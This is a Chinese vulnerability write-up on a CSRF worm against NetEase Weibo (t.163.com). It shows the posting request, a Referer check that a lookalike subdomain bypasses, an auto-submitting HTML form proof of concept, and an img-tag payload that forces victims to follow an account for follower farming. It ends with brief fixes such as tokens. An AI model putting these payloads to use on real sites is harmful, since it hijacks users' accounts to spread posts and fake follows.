1.既然是CSRF蠕虫,肯定是发微博的地方出了问题!接口在这里:

POST HTTP/1.1

Host: t.163.com

Proxy-Connection: keep-alive

Content-Length: 439

Origin:

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11

Content-Type: application/x-www-form-urlencoded

Accept: */*

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

Cookie: 略

status=%E6%AC%A7%E8%81%94%E5%B0%8F%E7%BB%84%E6%9C%AB%E8%BD%AE%E6%AC%A1%E6%97%A5%E7%BB%BC%E8%BF%B0%3A32%E5%BC%BA%E4%BA%A7%E7%94%9F+%E7%83%AD%E5%88%BA%E5%A4%A7%E8%83%9C%E5%87%BA%E5%B1%80http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&in_reply_to_status_id=&source=%E7%BD%91%E6%98%93%E4%BD%93%E8%82%B2&link=http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&imageUrl=&method=click&keyfrom=share163.share

2.上述链接即为发微博的另一个接口(实际上应该是转发微博),简单说下参数,status参数即为发布的微博内容,这里是必填项,我可以把csrf蠕虫的载体做为链接发在这里,欺骗用户点击!参数in_reply_to_status_id默认不填,source选填项,表示微博从哪里转发过来的,link不知,不填也木关系,method和keyfrom默认即可!

3.这里实际上是做referer判断的,即referer必须为163.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过长时间的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有163.com,而不是验证根域名为163.com。那么我这里可以构造子域名t.163.com.test.av作为蠕虫传播的载体服务器,即可绕过。 

漏洞证明:4.非常感谢@xsjswt提供的子域名,我的POC在下面这个链接:

一并将代码拷贝如下:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

</head>

<body>

<form id="fxx" name="fxx" action="" method="POST">

<input type="text" name="status" value="缘深缘浅,路长路短,看见就好..." />

<input type="text" name="in_reply_to_status_id" value="" />

<input type="text" name="source" value="风萧萧兮易水寒" />

<input type="text" name="link" value="" />

<input type="text" name="imageUrl" value="" />

<input type="text" name="method" value="click" />

<input type="text" name="keyfrom" value="share163.share" />

<input type="submit" value="submit" />

</form>

<script>

document.fxx.submit();

</script>

</body>

</html>

5.Chrome登录风萧萧吸的微博账号发布微博如下:

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的

6.Firefox登录另一个网易微博账号:

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的

7.受害者点击上述短链接,服务器访问如下:

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的

8.再查看主页面,发布了一条同样的微博哦:

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的


修复方案:

1.其实中间遇到了不少问题,referer为空可以绕过防御,所以方便了本地测试。但是原数据包纹风不动的提交可以正常发布微博的,但是放在POC里,本地提交总是返回【var updatestatus = 400】。后来才知道是编码的问题,服务器端只认UTF-8。

2.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!

3.既然上面的蠕虫已经实现,刷粉丝就可以更容易了,在POC里加如下代码可点击即关注:

<img src=http://t.163.com/share/follow?followfrom=op.wz.gfo&keyfrom=op.wz.gfo&sitechannel=no&method=follow&screenName=【微博ID】/>

4.在防御方面,强烈建议:

关键请求还是改成post比较好!

关键请求还是加token比较好!